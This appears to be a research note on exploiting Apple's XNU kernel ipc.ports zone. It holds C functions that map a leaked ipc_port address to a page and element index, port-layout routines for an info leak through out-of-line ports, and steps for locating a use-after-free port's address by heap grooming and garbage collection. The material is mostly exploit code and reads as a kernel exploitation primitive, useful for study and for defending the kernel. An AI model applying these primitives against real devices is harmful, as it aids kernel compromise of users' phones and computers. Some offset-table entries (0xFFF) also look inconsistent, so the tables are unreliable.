About ipc.ports zone
Basics
- The size of
struct ipc_port
is 168. - The size of kalloc is 4096 * (3 or 4).
No offset collision
There is no offset collision in one kalloc(not checked by code yet), so if you can get the offset of a ipc_port
, you can get the port index and page index.
// 0xA8
uint64_t PRTS_GetPageAndElementInfo(uint64_t kObjAddr)
{
static uint32_t page0[25] = {
0x000, 0x0A8, 0x150, 0x1F8, 0x2A0, 0x348, 0x3F0, 0x498, 0x540, 0x5E8,
0x690, 0x738, 0x7E0, 0x888, 0x930, 0x9D8, 0xA80, 0xB28, 0xBD0, 0xC78,
0xD20, 0xDC8, 0xE70, 0xF18, 0xFC0
};
static uint32_t page1[25] = {
0x068, 0x110, 0x1B8, 0x260, 0x308, 0x3B0, 0x458, 0x500, 0x5A8, 0x650,
0x6F8, 0x7A0, 0x848, 0x8F0, 0x998, 0xA40, 0xAE8, 0xB90, 0xC38, 0xCE0,
0xD88, 0xE30, 0xED8, 0xF80, 0xFFF
};
static uint32_t page2[25] = {
0x028, 0x0D0, 0x178, 0x220, 0x2C8, 0x370, 0x418, 0x4C0, 0x568, 0x610,
0x6B8, 0x760, 0x808, 0x8B0, 0x958, 0xA00, 0xAA8, 0xB50, 0xBF8, 0xCA0,
0xD48, 0xDF0, 0xE98, 0xF40, 0xFFF
};
static uint32_t* pages[] = {
page0, page1, page2
};
uint32_t offset = kObjAddr & 0xFFF;
int pgCnt = sizeof(pages) / sizeof(uint32_t *);
int itemCnt = sizeof(page0) / sizeof(uint32_t);
for (int pgIdx = 0; pgIdx < pgCnt; ++pgIdx) {
for (int objIdx = 0; objIdx < itemCnt; ++objIdx) {
if (pages[pgIdx][objIdx] == offset) {
return ((uint64_t)pgIdx << 32) | objIdx;
}
}
}
return -1;
}
// 0xB8
uint64_t PRTS_GetPageAndElementInfo(uint64_t kObjAddr)
{
static uint32_t page0[23] = {
0x000, 0x0B8, 0x170, 0x228, 0x2E0, 0x398, 0x450, 0x508, 0x5C0, 0x678,
0x730, 0x7E8, 0x8A0, 0x958, 0xA10, 0xAC8, 0xB80, 0xC38, 0xCF0, 0xDA8,
0xE60, 0xF18, 0xFD0
};
static uint32_t page1[23] = {
0x088, 0x140, 0x1F8, 0x2B0, 0x368, 0x420, 0x4D8, 0x590, 0x648, 0x700,
0x7B8, 0x870, 0x928, 0x9E0, 0xA98, 0xB50, 0xC08, 0xCC0, 0xD78, 0xE30,
0xEE8, 0xFA0, 0xFFF
};
static uint32_t page2[23] = {
0x058, 0x110, 0x1C8, 0x280, 0x338, 0x3F0, 0x4A8, 0x560, 0x618, 0x6D0,
0x788, 0x840, 0x8F8, 0x9B0, 0xA68, 0xB20, 0xBD8, 0xC90, 0xD48, 0xE00,
0xEB8, 0xF70, 0xFFF
};
static uint32_t page3[23] = {
0x028, 0x0E0, 0x198, 0x250, 0x308, 0x3C0, 0x478, 0x530, 0x5E8, 0x6A0,
0x758, 0x810, 0x8C8, 0x980, 0xA38, 0xAF0, 0xBA8, 0xC60, 0xD18, 0xDD0,
0xE88, 0xF40, 0xFFF
};
static uint32_t *pages[] = {
page0, page1, page2, page3
};
uint32_t offset = kObjAddr & 0xFFF;
int pgCnt = sizeof(pages) / sizeof(uint32_t *);
int itemCnt = sizeof(page0) / sizeof(uint32_t);
for (int pgIdx = 0; pgIdx < pgCnt; ++pgIdx) {
for (int objIdx = 0; objIdx < itemCnt; ++objIdx) {
if (pages[pgIdx][objIdx] == offset) {
return ((uint64_t)pgIdx << 32) | objIdx;
}
}
}
return -1;
}
Info leak by ool ports
Should pay attention to port layout.
// 0xA8
void PRTS_LayoutPorts(mach_port_t *payloadObjs, int portCnt, mach_port_t infoLeakPort)
{
static const int step = (PRTS_PAGE_SIZE / PRTS_PORT_SIZE) + 1;
static const int ctxOffset = (PRTS_PORT_CTX_OFFSET / 8);
// page: 1
for (int idx = 0; idx < portCnt; idx += step) {
payloadObjs[idx + ctxOffset] = infoLeakPort;
}
// page: 2
payloadObjs[10] = infoLeakPort;
for (int idx = 13; idx < portCnt; idx += step) {
payloadObjs[idx + ctxOffset] = infoLeakPort;
}
// page: 3
payloadObjs[2] = infoLeakPort;
for (int idx = 5; idx < portCnt; idx += step) {
payloadObjs[idx + ctxOffset] = infoLeakPort;
}
}
// 0xB8
void PRTS_LayoutPorts(mach_port_t *payloadObjs, int portCnt, mach_port_t infoLeakPort)
{
static const int step = (PRTS_PAGE_SIZE / PRTS_PORT_SIZE) + 1;
static const int ctxOffset = (PRTS_PORT_CTX_OFFSET / 8);
// page: 1
for (int idx = 0; idx < portCnt; idx += step) {
payloadObjs[idx + ctxOffset] = infoLeakPort;
}
// page: 2
payloadObjs[14] = infoLeakPort;
for (int idx = 17; idx < portCnt; idx += step) {
payloadObjs[idx + ctxOffset] = infoLeakPort;
}
// page: 3
payloadObjs[8] = infoLeakPort;
for (int idx = 11; idx < portCnt; idx += step) {
payloadObjs[idx + ctxOffset] = infoLeakPort;
}
// page: 4
payloadObjs[2] = infoLeakPort;
for (int idx = 5; idx < portCnt; idx += step) {
payloadObjs[idx + ctxOffset] = infoLeakPort;
}
}
How to get UaF port address
- By filling the gap, you can get 2 kalloc with continuous address.
- Place the UaF port in the 1st kalloc, place the info leak port in the 2nd kalloc.
- With ool ports, you can get the address of info leak port.
- With the address of info leak port, you can call
PRTS_GetPageAndElementInfo
. - With the info of 2nd kalloc, you can get the address range of 1st kalloc.
- If you can get the offset of UaF port, you can get the info of 1st kalloc.
- With GC, you can control 3 pages.